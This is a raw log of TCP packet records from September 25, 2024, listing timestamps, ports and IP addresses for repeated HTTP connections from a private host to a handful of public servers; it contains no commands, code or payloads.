Sep 25, 2024 12:47:29.897213936 CEST	80	49751	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:29.897228003 CEST	49751	80	192.168.2.4	67.223.117.189
Sep 25, 2024 12:47:29.897366047 CEST	80	49751	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:29.897409916 CEST	49751	80	192.168.2.4	67.223.117.189
Sep 25, 2024 12:47:29.897495985 CEST	80	49751	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:29.947614908 CEST	49751	80	192.168.2.4	67.223.117.189
Sep 25, 2024 12:47:29.983624935 CEST	80	49751	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:29.983655930 CEST	80	49751	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:29.983689070 CEST	80	49751	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:29.983711958 CEST	49751	80	192.168.2.4	67.223.117.189
Sep 25, 2024 12:47:29.983721018 CEST	80	49751	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:29.983755112 CEST	80	49751	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:29.983760118 CEST	49751	80	192.168.2.4	67.223.117.189
Sep 25, 2024 12:47:29.983789921 CEST	80	49751	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:29.983838081 CEST	49751	80	192.168.2.4	67.223.117.189
Sep 25, 2024 12:47:29.985042095 CEST	80	49751	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:29.985074997 CEST	80	49751	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:29.985110044 CEST	80	49751	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:29.985116959 CEST	49751	80	192.168.2.4	67.223.117.189
Sep 25, 2024 12:47:29.985194921 CEST	80	49751	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:29.985240936 CEST	49751	80	192.168.2.4	67.223.117.189
Sep 25, 2024 12:47:29.986046076 CEST	80	49751	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:29.986078024 CEST	80	49751	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:29.986112118 CEST	80	49751	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:29.986120939 CEST	49751	80	192.168.2.4	67.223.117.189
Sep 25, 2024 12:47:29.986195087 CEST	80	49751	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:29.986231089 CEST	49751	80	192.168.2.4	67.223.117.189
Sep 25, 2024 12:47:29.986852884 CEST	80	49751	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:29.986884117 CEST	80	49751	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:29.986936092 CEST	49751	80	192.168.2.4	67.223.117.189
Sep 25, 2024 12:47:30.791532993 CEST	49751	80	192.168.2.4	67.223.117.189
Sep 25, 2024 12:47:31.811156034 CEST	49752	80	192.168.2.4	67.223.117.189
Sep 25, 2024 12:47:31.816095114 CEST	80	49752	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:31.816159964 CEST	49752	80	192.168.2.4	67.223.117.189
Sep 25, 2024 12:47:31.831346035 CEST	49752	80	192.168.2.4	67.223.117.189
Sep 25, 2024 12:47:31.836272955 CEST	80	49752	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:31.836299896 CEST	80	49752	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:31.836323023 CEST	80	49752	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:31.836334944 CEST	80	49752	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:31.836348057 CEST	80	49752	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:31.836476088 CEST	80	49752	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:31.836507082 CEST	80	49752	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:31.836519003 CEST	80	49752	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:31.836545944 CEST	80	49752	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:32.412100077 CEST	80	49752	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:32.412146091 CEST	80	49752	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:32.412180901 CEST	80	49752	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:32.412214041 CEST	80	49752	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:32.412218094 CEST	49752	80	192.168.2.4	67.223.117.189
Sep 25, 2024 12:47:32.412250042 CEST	80	49752	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:32.412261963 CEST	49752	80	192.168.2.4	67.223.117.189
Sep 25, 2024 12:47:32.412281036 CEST	80	49752	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:32.412313938 CEST	80	49752	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:32.412321091 CEST	49752	80	192.168.2.4	67.223.117.189
Sep 25, 2024 12:47:32.412348032 CEST	80	49752	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:32.412381887 CEST	80	49752	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:32.412411928 CEST	49752	80	192.168.2.4	67.223.117.189
Sep 25, 2024 12:47:32.412508011 CEST	80	49752	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:32.412545919 CEST	49752	80	192.168.2.4	67.223.117.189
Sep 25, 2024 12:47:32.417418957 CEST	80	49752	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:32.417453051 CEST	80	49752	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:32.417486906 CEST	80	49752	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:32.417501926 CEST	49752	80	192.168.2.4	67.223.117.189
Sep 25, 2024 12:47:32.417521954 CEST	80	49752	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:32.417565107 CEST	49752	80	192.168.2.4	67.223.117.189
Sep 25, 2024 12:47:32.499484062 CEST	80	49752	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:32.499527931 CEST	80	49752	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:32.499552011 CEST	80	49752	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:32.499566078 CEST	80	49752	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:32.499581099 CEST	80	49752	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:32.499594927 CEST	80	49752	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:32.499593973 CEST	49752	80	192.168.2.4	67.223.117.189
Sep 25, 2024 12:47:32.499609947 CEST	80	49752	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:32.499625921 CEST	80	49752	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:32.499644995 CEST	80	49752	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:32.499684095 CEST	49752	80	192.168.2.4	67.223.117.189
Sep 25, 2024 12:47:32.499684095 CEST	49752	80	192.168.2.4	67.223.117.189
Sep 25, 2024 12:47:32.499685049 CEST	49752	80	192.168.2.4	67.223.117.189
Sep 25, 2024 12:47:32.500464916 CEST	80	49752	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:32.500500917 CEST	80	49752	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:32.500504971 CEST	49752	80	192.168.2.4	67.223.117.189
Sep 25, 2024 12:47:32.500519037 CEST	80	49752	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:32.500534058 CEST	80	49752	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:32.500550032 CEST	80	49752	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:32.500551939 CEST	49752	80	192.168.2.4	67.223.117.189
Sep 25, 2024 12:47:32.500567913 CEST	80	49752	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:32.500581980 CEST	49752	80	192.168.2.4	67.223.117.189
Sep 25, 2024 12:47:32.501323938 CEST	80	49752	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:32.501369953 CEST	49752	80	192.168.2.4	67.223.117.189
Sep 25, 2024 12:47:33.339756966 CEST	49752	80	192.168.2.4	67.223.117.189
Sep 25, 2024 12:47:34.356501102 CEST	49753	80	192.168.2.4	67.223.117.189
Sep 25, 2024 12:47:34.361534119 CEST	80	49753	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:34.361624002 CEST	49753	80	192.168.2.4	67.223.117.189
Sep 25, 2024 12:47:34.367429972 CEST	49753	80	192.168.2.4	67.223.117.189
Sep 25, 2024 12:47:34.372327089 CEST	80	49753	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:34.943494081 CEST	80	49753	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:34.943531990 CEST	80	49753	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:34.943548918 CEST	80	49753	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:34.943564892 CEST	80	49753	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:34.943578959 CEST	80	49753	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:34.943594933 CEST	80	49753	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:34.943609953 CEST	80	49753	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:34.943625927 CEST	80	49753	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:34.943639040 CEST	80	49753	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:34.943654060 CEST	80	49753	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:34.943685055 CEST	49753	80	192.168.2.4	67.223.117.189
Sep 25, 2024 12:47:34.943779945 CEST	49753	80	192.168.2.4	67.223.117.189
Sep 25, 2024 12:47:34.948719978 CEST	80	49753	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:34.948739052 CEST	80	49753	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:34.948755980 CEST	80	49753	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:34.948771000 CEST	80	49753	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:34.948788881 CEST	80	49753	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:34.949034929 CEST	49753	80	192.168.2.4	67.223.117.189
Sep 25, 2024 12:47:34.994509935 CEST	49753	80	192.168.2.4	67.223.117.189
Sep 25, 2024 12:47:35.031111956 CEST	80	49753	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:35.031131029 CEST	80	49753	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:35.031204939 CEST	80	49753	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:35.031219959 CEST	80	49753	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:35.031234980 CEST	80	49753	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:35.031248093 CEST	49753	80	192.168.2.4	67.223.117.189
Sep 25, 2024 12:47:35.031250000 CEST	80	49753	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:35.031311035 CEST	49753	80	192.168.2.4	67.223.117.189
Sep 25, 2024 12:47:35.031311035 CEST	49753	80	192.168.2.4	67.223.117.189
Sep 25, 2024 12:47:35.031325102 CEST	80	49753	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:35.032150030 CEST	80	49753	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:35.032166958 CEST	80	49753	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:35.032182932 CEST	80	49753	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:35.032197952 CEST	80	49753	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:35.032207012 CEST	49753	80	192.168.2.4	67.223.117.189
Sep 25, 2024 12:47:35.032213926 CEST	80	49753	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:35.032228947 CEST	49753	80	192.168.2.4	67.223.117.189
Sep 25, 2024 12:47:35.032289982 CEST	49753	80	192.168.2.4	67.223.117.189
Sep 25, 2024 12:47:35.033005953 CEST	80	49753	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:35.033023119 CEST	80	49753	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:35.033039093 CEST	80	49753	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:35.033082008 CEST	49753	80	192.168.2.4	67.223.117.189
Sep 25, 2024 12:47:35.033459902 CEST	80	49753	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:35.033520937 CEST	49753	80	192.168.2.4	67.223.117.189
Sep 25, 2024 12:47:35.037404060 CEST	49753	80	192.168.2.4	67.223.117.189
Sep 25, 2024 12:47:35.043258905 CEST	80	49753	67.223.117.189	192.168.2.4
Sep 25, 2024 12:47:40.271982908 CEST	49754	80	192.168.2.4	103.248.137.209
Sep 25, 2024 12:47:40.278135061 CEST	80	49754	103.248.137.209	192.168.2.4
Sep 25, 2024 12:47:40.278214931 CEST	49754	80	192.168.2.4	103.248.137.209
Sep 25, 2024 12:47:40.290477991 CEST	49754	80	192.168.2.4	103.248.137.209
Sep 25, 2024 12:47:40.297430992 CEST	80	49754	103.248.137.209	192.168.2.4
Sep 25, 2024 12:47:41.807157993 CEST	49754	80	192.168.2.4	103.248.137.209
Sep 25, 2024 12:47:41.856178045 CEST	80	49754	103.248.137.209	192.168.2.4
Sep 25, 2024 12:47:42.828066111 CEST	49755	80	192.168.2.4	103.248.137.209
Sep 25, 2024 12:47:42.834423065 CEST	80	49755	103.248.137.209	192.168.2.4
Sep 25, 2024 12:47:42.834856987 CEST	49755	80	192.168.2.4	103.248.137.209
Sep 25, 2024 12:47:42.846831083 CEST	49755	80	192.168.2.4	103.248.137.209
Sep 25, 2024 12:47:42.851687908 CEST	80	49755	103.248.137.209	192.168.2.4
Sep 25, 2024 12:47:44.354366064 CEST	49755	80	192.168.2.4	103.248.137.209
Sep 25, 2024 12:47:44.400181055 CEST	80	49755	103.248.137.209	192.168.2.4
Sep 25, 2024 12:47:45.372778893 CEST	49756	80	192.168.2.4	103.248.137.209
Sep 25, 2024 12:47:45.378864050 CEST	80	49756	103.248.137.209	192.168.2.4
Sep 25, 2024 12:47:45.380863905 CEST	49756	80	192.168.2.4	103.248.137.209
Sep 25, 2024 12:47:45.392801046 CEST	49756	80	192.168.2.4	103.248.137.209
Sep 25, 2024 12:47:45.397687912 CEST	80	49756	103.248.137.209	192.168.2.4
Sep 25, 2024 12:47:45.397749901 CEST	80	49756	103.248.137.209	192.168.2.4
Sep 25, 2024 12:47:45.397763968 CEST	80	49756	103.248.137.209	192.168.2.4
Sep 25, 2024 12:47:45.397799015 CEST	80	49756	103.248.137.209	192.168.2.4
Sep 25, 2024 12:47:45.397810936 CEST	80	49756	103.248.137.209	192.168.2.4
Sep 25, 2024 12:47:45.398000002 CEST	80	49756	103.248.137.209	192.168.2.4
Sep 25, 2024 12:47:45.398013115 CEST	80	49756	103.248.137.209	192.168.2.4
Sep 25, 2024 12:47:45.398024082 CEST	80	49756	103.248.137.209	192.168.2.4
Sep 25, 2024 12:47:45.398036003 CEST	80	49756	103.248.137.209	192.168.2.4
Sep 25, 2024 12:47:46.904784918 CEST	49756	80	192.168.2.4	103.248.137.209
Sep 25, 2024 12:47:46.952156067 CEST	80	49756	103.248.137.209	192.168.2.4
Sep 25, 2024 12:47:47.919955015 CEST	49757	80	192.168.2.4	103.248.137.209
Sep 25, 2024 12:47:48.034840107 CEST	80	49757	103.248.137.209	192.168.2.4
Sep 25, 2024 12:47:48.034919024 CEST	49757	80	192.168.2.4	103.248.137.209
Sep 25, 2024 12:47:48.043497086 CEST	49757	80	192.168.2.4	103.248.137.209
Sep 25, 2024 12:47:48.048374891 CEST	80	49757	103.248.137.209	192.168.2.4
Sep 25, 2024 12:48:01.642399073 CEST	80	49754	103.248.137.209	192.168.2.4
Sep 25, 2024 12:48:01.644860983 CEST	49754	80	192.168.2.4	103.248.137.209
Sep 25, 2024 12:48:04.218791008 CEST	80	49755	103.248.137.209	192.168.2.4
Sep 25, 2024 12:48:04.218868017 CEST	49755	80	192.168.2.4	103.248.137.209
Sep 25, 2024 12:48:06.749937057 CEST	80	49756	103.248.137.209	192.168.2.4
Sep 25, 2024 12:48:06.750109911 CEST	49756	80	192.168.2.4	103.248.137.209
Sep 25, 2024 12:48:09.394454956 CEST	80	49757	103.248.137.209	192.168.2.4
Sep 25, 2024 12:48:09.394601107 CEST	49757	80	192.168.2.4	103.248.137.209
Sep 25, 2024 12:48:09.395579100 CEST	49757	80	192.168.2.4	103.248.137.209
Sep 25, 2024 12:48:09.400418997 CEST	80	49757	103.248.137.209	192.168.2.4
Sep 25, 2024 12:48:22.502660036 CEST	49758	80	192.168.2.4	3.33.130.190
Sep 25, 2024 12:48:22.507528067 CEST	80	49758	3.33.130.190	192.168.2.4
Sep 25, 2024 12:48:22.507639885 CEST	49758	80	192.168.2.4	3.33.130.190
Sep 25, 2024 12:48:22.517416954 CEST	49758	80	192.168.2.4	3.33.130.190
Sep 25, 2024 12:48:22.522315979 CEST	80	49758	3.33.130.190	192.168.2.4
Sep 25, 2024 12:48:22.967201948 CEST	80	49758	3.33.130.190	192.168.2.4
Sep 25, 2024 12:48:22.972850084 CEST	49758	80	192.168.2.4	3.33.130.190
Sep 25, 2024 12:48:24.026313066 CEST	49758	80	192.168.2.4	3.33.130.190
Sep 25, 2024 12:48:24.031222105 CEST	80	49758	3.33.130.190	192.168.2.4
Sep 25, 2024 12:48:25.044847965 CEST	49759	80	192.168.2.4	3.33.130.190
Sep 25, 2024 12:48:25.049804926 CEST	80	49759	3.33.130.190	192.168.2.4
Sep 25, 2024 12:48:25.052984953 CEST	49759	80	192.168.2.4	3.33.130.190
Sep 25, 2024 12:48:25.068850040 CEST	49759	80	192.168.2.4	3.33.130.190
Sep 25, 2024 12:48:25.073782921 CEST	80	49759	3.33.130.190	192.168.2.4
Sep 25, 2024 12:48:25.529469013 CEST	80	49759	3.33.130.190	192.168.2.4
Sep 25, 2024 12:48:25.532953978 CEST	49759	80	192.168.2.4	3.33.130.190
Sep 25, 2024 12:48:26.572823048 CEST	49759	80	192.168.2.4	3.33.130.190
Sep 25, 2024 12:48:26.577655077 CEST	80	49759	3.33.130.190	192.168.2.4
Sep 25, 2024 12:48:27.596872091 CEST	49760	80	192.168.2.4	3.33.130.190
Sep 25, 2024 12:48:27.602194071 CEST	80	49760	3.33.130.190	192.168.2.4
Sep 25, 2024 12:48:27.603025913 CEST	49760	80	192.168.2.4	3.33.130.190
Sep 25, 2024 12:48:27.613706112 CEST	49760	80	192.168.2.4	3.33.130.190
Sep 25, 2024 12:48:27.618588924 CEST	80	49760	3.33.130.190	192.168.2.4
Sep 25, 2024 12:48:27.618599892 CEST	80	49760	3.33.130.190	192.168.2.4
Sep 25, 2024 12:48:27.618614912 CEST	80	49760	3.33.130.190	192.168.2.4
Sep 25, 2024 12:48:27.618623972 CEST	80	49760	3.33.130.190	192.168.2.4
Sep 25, 2024 12:48:27.618632078 CEST	80	49760	3.33.130.190	192.168.2.4
Sep 25, 2024 12:48:27.618776083 CEST	80	49760	3.33.130.190	192.168.2.4
Sep 25, 2024 12:48:27.618801117 CEST	80	49760	3.33.130.190	192.168.2.4
Sep 25, 2024 12:48:27.618817091 CEST	80	49760	3.33.130.190	192.168.2.4
Sep 25, 2024 12:48:27.618825912 CEST	80	49760	3.33.130.190	192.168.2.4
Sep 25, 2024 12:48:28.066184044 CEST	80	49760	3.33.130.190	192.168.2.4
Sep 25, 2024 12:48:28.066242933 CEST	49760	80	192.168.2.4	3.33.130.190
Sep 25, 2024 12:48:29.119674921 CEST	49760	80	192.168.2.4	3.33.130.190
Sep 25, 2024 12:48:29.124536991 CEST	80	49760	3.33.130.190	192.168.2.4
Sep 25, 2024 12:48:30.138365030 CEST	49761	80	192.168.2.4	3.33.130.190
Sep 25, 2024 12:48:30.181648970 CEST	80	49761	3.33.130.190	192.168.2.4
Sep 25, 2024 12:48:30.181718111 CEST	49761	80	192.168.2.4	3.33.130.190
Sep 25, 2024 12:48:30.189023972 CEST	49761	80	192.168.2.4	3.33.130.190
Sep 25, 2024 12:48:30.193902969 CEST	80	49761	3.33.130.190	192.168.2.4
Sep 25, 2024 12:48:30.640738964 CEST	80	49761	3.33.130.190	192.168.2.4
Sep 25, 2024 12:48:30.640836954 CEST	80	49761	3.33.130.190	192.168.2.4
Sep 25, 2024 12:48:30.640902996 CEST	49761	80	192.168.2.4	3.33.130.190
Sep 25, 2024 12:48:30.643955946 CEST	49761	80	192.168.2.4	3.33.130.190
Sep 25, 2024 12:48:30.650362968 CEST	80	49761	3.33.130.190	192.168.2.4
Sep 25, 2024 12:48:35.850855112 CEST	49762	80	192.168.2.4	3.33.130.190
Sep 25, 2024 12:48:35.855664015 CEST	80	49762	3.33.130.190	192.168.2.4
Sep 25, 2024 12:48:35.855725050 CEST	49762	80	192.168.2.4	3.33.130.190
Sep 25, 2024 12:48:35.869275093 CEST	49762	80	192.168.2.4	3.33.130.190
Sep 25, 2024 12:48:35.874115944 CEST	80	49762	3.33.130.190	192.168.2.4
Sep 25, 2024 12:48:37.387908936 CEST	49762	80	192.168.2.4	3.33.130.190
Sep 25, 2024 12:48:37.393564939 CEST	80	49762	3.33.130.190	192.168.2.4
Sep 25, 2024 12:48:37.393668890 CEST	49762	80	192.168.2.4	3.33.130.190
Sep 25, 2024 12:48:38.404162884 CEST	49763	80	192.168.2.4	3.33.130.190
Sep 25, 2024 12:48:38.410680056 CEST	80	49763	3.33.130.190	192.168.2.4
Sep 25, 2024 12:48:38.410761118 CEST	49763	80	192.168.2.4	3.33.130.190
Sep 25, 2024 12:48:38.423007011 CEST	49763	80	192.168.2.4	3.33.130.190
Sep 25, 2024 12:48:38.428410053 CEST	80	49763	3.33.130.190	192.168.2.4
Sep 25, 2024 12:48:39.932240963 CEST	49763	80	192.168.2.4	3.33.130.190
Sep 25, 2024 12:48:39.937448025 CEST	80	49763	3.33.130.190	192.168.2.4
Sep 25, 2024 12:48:39.937510967 CEST	49763	80	192.168.2.4	3.33.130.190
Sep 25, 2024 12:48:40.950762033 CEST	49764	80	192.168.2.4	3.33.130.190
Sep 25, 2024 12:48:40.955709934 CEST	80	49764	3.33.130.190	192.168.2.4
Sep 25, 2024 12:48:40.956955910 CEST	49764	80	192.168.2.4	3.33.130.190
Sep 25, 2024 12:48:40.968885899 CEST	49764	80	192.168.2.4	3.33.130.190
Sep 25, 2024 12:48:40.973691940 CEST	80	49764	3.33.130.190	192.168.2.4
Sep 25, 2024 12:48:40.973720074 CEST	80	49764	3.33.130.190	192.168.2.4
Sep 25, 2024 12:48:40.973727942 CEST	80	49764	3.33.130.190	192.168.2.4
Sep 25, 2024 12:48:40.973772049 CEST	80	49764	3.33.130.190	192.168.2.4
Sep 25, 2024 12:48:40.973779917 CEST	80	49764	3.33.130.190	192.168.2.4
Sep 25, 2024 12:48:40.973948002 CEST	80	49764	3.33.130.190	192.168.2.4
Sep 25, 2024 12:48:40.973980904 CEST	80	49764	3.33.130.190	192.168.2.4
Sep 25, 2024 12:48:40.973989964 CEST	80	49764	3.33.130.190	192.168.2.4
Sep 25, 2024 12:48:40.974011898 CEST	80	49764	3.33.130.190	192.168.2.4
Sep 25, 2024 12:48:41.413959026 CEST	80	49764	3.33.130.190	192.168.2.4
Sep 25, 2024 12:48:41.416915894 CEST	49764	80	192.168.2.4	3.33.130.190
Sep 25, 2024 12:48:42.479191065 CEST	49764	80	192.168.2.4	3.33.130.190
Sep 25, 2024 12:48:42.484957933 CEST	80	49764	3.33.130.190	192.168.2.4
Sep 25, 2024 12:48:43.500891924 CEST	49765	80	192.168.2.4	3.33.130.190
Sep 25, 2024 12:48:43.506071091 CEST	80	49765	3.33.130.190	192.168.2.4
Sep 25, 2024 12:48:43.509030104 CEST	49765	80	192.168.2.4	3.33.130.190
Sep 25, 2024 12:48:43.515542030 CEST	49765	80	192.168.2.4	3.33.130.190
Sep 25, 2024 12:48:43.520816088 CEST	80	49765	3.33.130.190	192.168.2.4
Sep 25, 2024 12:48:43.979209900 CEST	80	49765	3.33.130.190	192.168.2.4
Sep 25, 2024 12:48:43.979896069 CEST	80	49765	3.33.130.190	192.168.2.4
Sep 25, 2024 12:48:43.979967117 CEST	49765	80	192.168.2.4	3.33.130.190
Sep 25, 2024 12:48:43.987943888 CEST	49765	80	192.168.2.4	3.33.130.190
Sep 25, 2024 12:48:43.994512081 CEST	80	49765	3.33.130.190	192.168.2.4
Sep 25, 2024 12:48:49.227904081 CEST	49766	80	192.168.2.4	85.153.138.113
Sep 25, 2024 12:48:49.233587980 CEST	80	49766	85.153.138.113	192.168.2.4
Sep 25, 2024 12:48:49.236980915 CEST	49766	80	192.168.2.4	85.153.138.113
Sep 25, 2024 12:48:49.248893023 CEST	49766	80	192.168.2.4	85.153.138.113
Sep 25, 2024 12:48:49.253726006 CEST	80	49766	85.153.138.113	192.168.2.4
Sep 25, 2024 12:48:49.969575882 CEST	80	49766	85.153.138.113	192.168.2.4
Sep 25, 2024 12:48:49.969595909 CEST	80	49766	85.153.138.113	192.168.2.4
Sep 25, 2024 12:48:49.969633102 CEST	80	49766	85.153.138.113	192.168.2.4
Sep 25, 2024 12:48:49.969654083 CEST	49766	80	192.168.2.4	85.153.138.113
Sep 25, 2024 12:48:49.969712973 CEST	49766	80	192.168.2.4	85.153.138.113
Sep 25, 2024 12:48:50.760498047 CEST	49766	80	192.168.2.4	85.153.138.113
Sep 25, 2024 12:48:51.778803110 CEST	49767	80	192.168.2.4	85.153.138.113
Sep 25, 2024 12:48:51.783703089 CEST	80	49767	85.153.138.113	192.168.2.4
Sep 25, 2024 12:48:51.783874989 CEST	49767	80	192.168.2.4	85.153.138.113
Sep 25, 2024 12:48:51.792922020 CEST	49767	80	192.168.2.4	85.153.138.113
Sep 25, 2024 12:48:51.799454927 CEST	80	49767	85.153.138.113	192.168.2.4
Sep 25, 2024 12:48:52.523732901 CEST	80	49767	85.153.138.113	192.168.2.4
Sep 25, 2024 12:48:52.523838043 CEST	80	49767	85.153.138.113	192.168.2.4
Sep 25, 2024 12:48:52.523849010 CEST	80	49767	85.153.138.113	192.168.2.4
Sep 25, 2024 12:48:52.523895979 CEST	49767	80	192.168.2.4	85.153.138.113
Sep 25, 2024 12:48:53.308897018 CEST	49767	80	192.168.2.4	85.153.138.113
Sep 25, 2024 12:48:54.326519966 CEST	49768	80	192.168.2.4	85.153.138.113
Sep 25, 2024 12:48:54.333373070 CEST	80	49768	85.153.138.113	192.168.2.4
Sep 25, 2024 12:48:54.333467960 CEST	49768	80	192.168.2.4	85.153.138.113
Sep 25, 2024 12:48:54.346404076 CEST	49768	80	192.168.2.4	85.153.138.113
Sep 25, 2024 12:48:54.355031967 CEST	80	49768	85.153.138.113	192.168.2.4
Sep 25, 2024 12:48:54.355072975 CEST	80	49768	85.153.138.113	192.168.2.4
Sep 25, 2024 12:48:54.355123997 CEST	80	49768	85.153.138.113	192.168.2.4
Sep 25, 2024 12:48:54.355151892 CEST	80	49768	85.153.138.113	192.168.2.4
Sep 25, 2024 12:48:54.355180025 CEST	80	49768	85.153.138.113	192.168.2.4
Sep 25, 2024 12:48:54.357536077 CEST	80	49768	85.153.138.113	192.168.2.4
Sep 25, 2024 12:48:54.357563972 CEST	80	49768	85.153.138.113	192.168.2.4
Sep 25, 2024 12:48:54.357630014 CEST	80	49768	85.153.138.113	192.168.2.4
Sep 25, 2024 12:48:54.357656956 CEST	80	49768	85.153.138.113	192.168.2.4
Sep 25, 2024 12:48:55.213120937 CEST	80	49768	85.153.138.113	192.168.2.4
Sep 25, 2024 12:48:55.213213921 CEST	80	49768	85.153.138.113	192.168.2.4
Sep 25, 2024 12:48:55.213246107 CEST	80	49768	85.153.138.113	192.168.2.4
Sep 25, 2024 12:48:55.215173960 CEST	49768	80	192.168.2.4	85.153.138.113
Sep 25, 2024 12:48:55.855074883 CEST	49768	80	192.168.2.4	85.153.138.113
Sep 25, 2024 12:48:56.872631073 CEST	49769	80	192.168.2.4	85.153.138.113
Sep 25, 2024 12:48:56.877916098 CEST	80	49769	85.153.138.113	192.168.2.4
Sep 25, 2024 12:48:56.878007889 CEST	49769	80	192.168.2.4	85.153.138.113
Sep 25, 2024 12:48:56.884349108 CEST	49769	80	192.168.2.4	85.153.138.113
Sep 25, 2024 12:48:56.889218092 CEST	80	49769	85.153.138.113	192.168.2.4
Sep 25, 2024 12:48:57.629153967 CEST	80	49769	85.153.138.113	192.168.2.4
Sep 25, 2024 12:48:57.629215002 CEST	80	49769	85.153.138.113	192.168.2.4
Sep 25, 2024 12:48:57.629280090 CEST	80	49769	85.153.138.113	192.168.2.4
Sep 25, 2024 12:48:57.629654884 CEST	49769	80	192.168.2.4	85.153.138.113
Sep 25, 2024 12:48:57.631772995 CEST	49769	80	192.168.2.4	85.153.138.113
Sep 25, 2024 12:48:57.636720896 CEST	80	49769	85.153.138.113	192.168.2.4
Sep 25, 2024 12:49:02.768492937 CEST	49770	80	192.168.2.4	104.21.11.31
Sep 25, 2024 12:49:02.773984909 CEST	80	49770	104.21.11.31	192.168.2.4
Sep 25, 2024 12:49:02.774090052 CEST	49770	80	192.168.2.4	104.21.11.31
Sep 25, 2024 12:49:02.783584118 CEST	49770	80	192.168.2.4	104.21.11.31
Sep 25, 2024 12:49:02.788729906 CEST	80	49770	104.21.11.31	192.168.2.4
Sep 25, 2024 12:49:03.768829107 CEST	80	49770	104.21.11.31	192.168.2.4
Sep 25, 2024 12:49:03.768857956 CEST	80	49770	104.21.11.31	192.168.2.4
Sep 25, 2024 12:49:03.768975973 CEST	49770	80	192.168.2.4	104.21.11.31
Sep 25, 2024 12:49:04.291657925 CEST	49770	80	192.168.2.4	104.21.11.31
Sep 25, 2024 12:49:05.309950113 CEST	49771	80	192.168.2.4	104.21.11.31
Sep 25, 2024 12:49:05.314850092 CEST	80	49771	104.21.11.31	192.168.2.4
